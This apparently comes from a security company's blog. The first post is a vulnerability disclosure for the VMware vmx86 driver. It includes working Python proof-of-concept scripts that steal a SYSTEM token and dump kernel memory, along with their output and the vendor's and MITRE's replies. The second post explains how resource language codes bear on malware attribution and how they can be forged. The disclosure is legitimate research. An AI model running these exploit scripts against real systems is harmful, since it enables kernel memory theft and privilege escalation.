8a401300  4c 14 40 8a 00 00 00 00-08 12 40 8a 08 12 40 8a  L.@.......@...@.
8a401310  14 12 40 8a 01 00 00 00-00 00 00 00 00 20 00 00  ..@.......... ..
8a401320  01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a  ..............@.
8a401330  00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a  ............L.@.
8a401340  16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................
8a401350  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401360  00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00  ................
8a401370  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401380  1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00  ................
8a401390  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4013f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401400  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401410  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401420  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a401440  00 00 00 00 00 00 00 00-20 15 40 8a              ........ .@.	
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py
[+] Handle \\.\vmx86 @ 120
2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0
3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00
90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0
4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a
14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00
 00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0
0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a
[*] caught system token

To obtain your current token, modify the address passed to pack() in the code shown below. If you enable /DEBUG, attach Windbg to the kernel and use !process 0 1 followed by !exts.token -n , you can verify that the code functions as shown above.

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
inputBuffer = pack('<L',0x8a401270)+"\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x1dc)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
data = create_string_buffer(0x1dc)
if (ReadProcessMemory(-1,0x25,byref(data),0x1dc,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::]):
        	kValue+=i[::]
        	kValue+=""
	print "%s" % (kValue)
	if ("2a 53 59 53 54 45 4d 2a" in kValue):
                print "[*] caught system token"
else:
	print "[!] could not read output memory."
CloseHandle(handle)

This technique can be modified slightly to extract large sections of kernel memory as an unprivileged user.

from ctypes import *
from struct import pack
from sys import exit
from binascii import hexlify
from re import findall
from time import sleep
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

kBase,kVer = getBase()
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
kernelMem,address = "",kBase
print "total size %s in %s calls" % (0xffffffff-kBase,(0xffffffff-kBase)/0xffff)
while True:
	handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
	if (handle == -1):
		print "[!] Could not open handle, is user part of the __vmware__ group?"
		exit(1)
	if (address == 0xffffffff):
		break
	else:
		inputBuffer = pack('<L',address) + "\x41"*4
		DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0xffff)
		if (GetLastError() != 0):
			print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
			exit(1)
		data = create_string_buffer(0xffff)
		if (ReadProcessMemory(-1,0x25,byref(data),0xffff,byref(c_ulong(0))) == 1):
			kValue = ""
			for i in findall('..',hexlify(data)[::-1]):
					try:
						kValue+=pack('B',int(i,16))
					except:
						print "[!] could not pack() byte, skipping to the next byte"
			print "dumping 0xffff at %s, size so far %s" % (hex(address)[:-1],len(kernelMem))
			kernelMem+=kValue
			fp = open("kernel.out","a+")
			fp.write(kernelMem)
			fp.close()
		address+=0xffff
	CloseHandle(handle)
	sleep(0.1)
print len(kernelMem)

The technique illustrated above will write the kernel contents to a file named 'kernel.out' in the local directory with one caveat: I have yet to figure out a reliable way to validate the kernel-land address from user-land. This is something I shouldn't be able to do as an unprivileged user. As a result, a typical Windows BSOD will occur once an unallocated address is referenced. You can adjust the input address to something more interesting if you care to.

<removed>:<removed> <removed>$ hexdump -C kernel.out|more
00000000  66 1d b8 03 1c 38 ff ff  ef 59 28 f0 2c b3 66 a0  |f....8...Y(.,.f.|
00000010  2c 38 b2 27 2c b3 66 1d  b8 00 00 71 0e 9b ff ff  |,8.',.f....q....|
00000020  ef da 28 f0 2c b3 66 a0  2c 38 34 27 2c b3 66 1d  |..(.,.f.,84',.f.|
00000030  b8 00 00 01 04 9b ff ff  ef 5c 28 f0 2c b3 66 00  |.........\(.,.f.|
00000040  00 f0 a2 ab d5 27 2c b3  66 1d b8 05 1c 38 ff ff  |.....',.f....8..|

Interestingly enough, VMWare makes a comparison between __vmware__ and the Power Users/Administrator groups within Windows. I was particularly curious about this "The _vmware_ group is similar in concept to the Windows 2000/XP built-in Power Users group." and "Users in the _vmware_ group effectively have administrative privileges." My experience had taught me that neither a Power User or even Administrator could directly call memcpy() with a kernel address and get anything except a ERROR_NOACCESS. However, I decided to give them the benefit of the doubt and write some code to test the theory.

To do that, I simply modified the code shown above to calculate the address of the first entry in the HalDispatchTable and subsequently read that four-byte value using memcpy().

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
memcpy = windll.msvcrt.memcpy
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
try:
	memcpy(0x10,HalDispatchTable ,0x4)
except WindowsError as e:
	print "[!] caught error: %s" % (e)
if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::-1]):
        	kValue+=i[::-1]
	print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
	print "[!] could not read output memory.\nGetLastError() == %s" % (hex(GetLastError()))

And then, I ran it. The output produced by executing the above code was as follows:

C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py
[!] caught error: exception: access violation reading 0x82D393FC
[!] could not read output memory.
GetLastError() == 0x3e6

As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred. I subsequently ran this code from the context of a Power User as well as an Administrator, and in both cases, the results were identical -- access denied. In other words, the tests confirmed that neither context, in its normal/default state, is sufficient to achieve the same level of access as was achieved by a user in the __vmware__ group.

It is my understanding that an Administrator can only read kernel memory if the boot manager has /DEBUG ON and only through WinDbg/KD or equivalent APIs.

The API function memcpy() fails because it can only access memory addresses within the process executing the call. If this call is happening from kernel-mode, then the API call should function as suggested. This is not the case from user-land when providing the call a kernel-land memory address, regardless of whether the user is an Administrator or not.

Therefore, not only does this vulnerability reside in the kernel, but the evidence collected also fails to support VMWare's points of comparison. It can be concluded that the evidence better supports that the points of comparison are between __vmware__ and SYSTEM. To that end, it isn't sound security practice to provide Administrators with a mechanism to issue what is essentially a SYSTEM privilege, one which cannot easily be executed by even the Administrator, to a user with otherwise limited privileges.

Now, we know that there are ways that Power Users and Administrators can obtain SYSTEM privileges, but those ways typically involve clearing some additional hurdles. With this particular vulnerability, it's as though all hurdles have been set aside.

So, what can someone do for fun with this vulnerability? There are two cases I have thought of where this can be applied relatively easily to achieve some interesting results:

  1. In my last post, I talked about a classic class of vulnerability known as write-what-where. While working on validating the shellcode used in that post, I had to use WinDbg to read nt!_token and a few other things from the kernel. An arbitrary read such as the one I have touched on in this blog post would allow an attacker to develop robust exploits that may leverage more than one vulnerability to accomplish their overall goal.
  2. Read about the Microsoft .DMP file format and craft some code to create files that can load into WinDbg. Interesting plug-ins for Windbg exist, such as Mimikatz.

While I can envision several methods for solving this vulnerability, one in particular is rather simple. The goal is to prevent an unprivileged user from being able to control the kernel memory address to be read. A FIFO queue could solve the issue by leveraging one IOCTL which will allocate and populate the required memory within the kernel, and add a pointer for that memory to the queue. A second IOCTL could then be used to provide the user with the memory from the address within the queue. This would remove the need for the unprivileged user to control the kernel memory address to be read, and thus, fix the vulnerability.

During the interaction our program manager had with VMWare, they provided a final response regarding the vulnerability; quoted with identifying information redacted:

Hi [KoreLogic],

We have re-reviewed your report and we believe that this is not a
vulnerability for the following reasons:

1) Users must be manually added to the privileged group _vmware_
2) Default configuration of the product does not add users to this group
3) The permissions granted by this group are what is required for the
product to function if authd service is not running.

However, we do feel that the omission of the _vmware_ group in our
documentation is a problem. We have written a VMware Knowledge Base
article documenting the group, its effective permissions, and usage here:

http://kb.vmware.com/kb/2089333

We would like to acknowledge your assistance with the issue and add
following statement to the Knowledge Base article:

VMware would like to thank  from Korelogic, Inc. for working with
us on documenting this issue.

Please let us know which name to use in above acknowledgement.

If you are planning on announcing the findings of your team, we would
highly appreciate it you could refer to our Knowledge Base article.

Thank you again for the report.
----

I personally derived one thing from this response. It's apparently considered a feature and not a vulnerability. I guess we're free to enjoy this newly documented 'feature' in VMWare Workstation! :)

All joking aside, I am slightly confused as to why VMWare has declined to patch this obvious issue. I do not maintain that this vulnerability is the worst out there right now (it isn't), but at the very least, I think it requires the vendor to take responsibility by creating an appropriate patch. I welcome a continued conversation with VMWare about this vulnerability and the concepts I think can help prevent exploitation from occurring.

When KoreLogic requested a CVE identifier for this vulnerability, MITRE indicated that none would be assigned.

Subject: Re: CVE-ID Request
Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT)
From: cve-assign@mitre.org
To: disclosures@korelogic.com
CC: cve-assign@mitre.org

> The vendor's viewpoint is that it is not a vulnerability and therefore
> no patch is needed.
>> The type of attacker in this case is an unprivileged local user with
> membership in the __vmware__ group.

>> A vulnerability within the vmx86 driver allows an attacker to specify a
>> memory address within the kernel and have the memory stored at that
>> address be returned to the attacker. Thus, this is an arbitrary read due
>> to improper input validation (CWE-20).

There is no CVE ID assignment for this. From our perspective, the vendor
is entitled to define a security policy in which this read access is
considered an acceptable risk, given __vmware__ group membership.

If __vmware__ were the equivalent of Power User or even Administrator, I would agree with MITRE. My thought would be that having multiple groups effectively equivalent to each other is bad practice, but I can see not issuing a CVE for THAT. The vulnerability that I discovered, however, is not equivalent to a Power User or even an Administrator. It's a vulnerability that effectively grants SYSTEM access!

In my opinion, any use of the __vmware__ group as currently implemented is a risk, and unless you're comfortable giving away SYSTEM access, you should avoid this group entirely. Furthermore, I assert that this vulnerability clearly violates protection ring design principles. That being said, the fix is also pretty straight-forward: prevent unprivileged users from being able to control the kernel memory address and amount of data to be read.

Using Windows Resource Language Codes for Attribution

$
0
0

Since news of the Sony hack broke, a number of reports have been pointing to North Korea as the source of the compromise. Part of the reasoning that North Korea is to blame is undoutedly because the malware recovered from the compromise, and subsequently made available on a number of malware analysis websites, had internal resources that had the Korean language. While the languages associated with Windows resources on executables can be used for attribution, this post will show that they should not be singularly relied upon.

Disclosure: KoreLogic is not involved with this investigation, nor do we have any inside knowledge. This post is based on the public information available and our experience and expertise.

What are Resources?

Resources are binary data that are attached directly to Windows programs and are used during execution. A number of standard resource types exist, including menus, icons, cursors, string tables, and version information. Programmers can also attach user-defined resources, which can be anything. Malware will often use resources to attach configuration files or secondary pieces of malware that are dropped and executed.

Each resource has a number of characteristics that are stored in the executable. These include the name of the resource, its type, its location and size within the executable, and the locale information of the resource. The locale information, which describes the geographic region the resource is meant for, includes the language and sublanguage IDs of the resource.

Language Identifiers

The language and sublanguage IDs are 16-bit numeric identifiers that describe the primary language of the resource (e.g. English, Spanish, Arabic, etc.) and the region for that language (e.g. for English: United States, United Kingdom, South Africa, etc.). In the locale information, the language values are constructed using the MAKELANGID macro, which uses the following algorithm:

  LANGINFO = (SUBLANG_ID << 10) | LANG_ID

A list of all language ID values is available on MSDN.

For example, the language ID for English is 0x09 and the sublanguage ID for the U.S. is 0x01. Therefore, the language value for U.S. English is 0x0409. The language associated with a resource can be parsed out by numerous PE editing tools, and of course, MASTIFF.

Resource information from a Zeus malware interpreted by MASTIFF.

The ability to specify different resources based on language is helpful when supporting localization of an executable. For example, if a programmer wanted to make his program multilingual, he could add menus for English and Spanish to the executable instead of compiling two different versions of the program. Programmatically, loading resources based on language can be done with FindResource() or by enumerating all of the resources for a specific language with EnumResourceLanguages().

Most resources are added to executables during the complilation process, although this can also be performed programmatically. When resources are added to a program, the programmer specifies the language and sublanguage ID of the resource using either the LANGUAGE statement in the resource's .rc configuration file or within the compiler. If the language ID is not specified, the compiler (or at least Visual Studio) will use the language and sublanguage of the system the program is being compiled on.

Language Identifiers in Attribution

So why should analysts care about resources and their languages? If the malware author forgets to set the language of the resource, which is often the case, the compiler will use the language code of the author's system. While this won't provide the exact coordinates of the author, it will give a general geographic location and can be used for threat intelligence attribution (e.g. this malware was compiled in China, Brazil, US, etc.).

However, there is a problem with blindly using the language codes in an executable for threat intelligence. Developers can set the language code of a resource to be whatever they want it to be. Therefore, if the developer wants an analyst to think the malware came from Russia, she only needs to set the language code to LANG_RUSSIAN (0x19) and the sublanguage to Russia (0x01) (locale ID 0x0419). If she wants to make it appear the malware came from Korea, she can set the language code to LANG_KOREAN (0x12) and the sublanguage code to Korea (0x01) (locale ID 0x0412).

During the development process, this is often as easy as selecting the language from a drop-down box. The image on the right shows a program in Visual Studio 2012 that had an icon resource attached. Initially, the resource was given the language code English (United States) since that is the default language of my development system. However, the language could be changed to any other using the drop-down box in the VS GUI.

Analysts need to make sure that the language information is used in context with the rest of the information available on the malware. If there are other indicators that support the language IDs being real, then all the better. Examples of additional indicators include command and control IP addresses in that geographic region, internal debug or help strings in that language, and additional intelligence that is available on the attacker or malware origins. If there is not any additional supporting information, treat the language codes with a grain of salt.

Keep in mind that no checks are performed when a program is executed to determine if the language IDs have been changed, meaning an attacker could modify the language IDs of a resource after compilation. This could easily be done with a script that modifies the language code of malware resources every time it's downloaded as a means to change the malware's hashes or signature.

Using the program we created in the example above, analyzing it within MASTIFF finds that its resources have a language code of US English (0x0409).

Resources with the US English language code.

By opening the program up in a hex editor, we can change the language to another by modifying the language values. In the example below, the code is changed from US English (0x0409) to Korean (0x0412). Note, bytes are reversed because they are stored in little-endian format.

Resource language codes manually changed in a hex editor.

MASTIFF, and any other PE analysis program, then shows the language for the resources as Korean.

Previously changed resources now show the language as Korean.

In malware analysis, it is often desirable to perform some type of attribution to determine where the malware came from. If the language codes for resources are set, then this allows analysts to get a general geographic feel for the malware's origin. However, since the language codes can be arbitrarily changed or set, they cannot be used as a singular indicator. As long as additional information is available that supports the language code as being real, then it can and should be used as an excellent intelligence resource.

References:

Viewing all 78 articles
Browse latest View live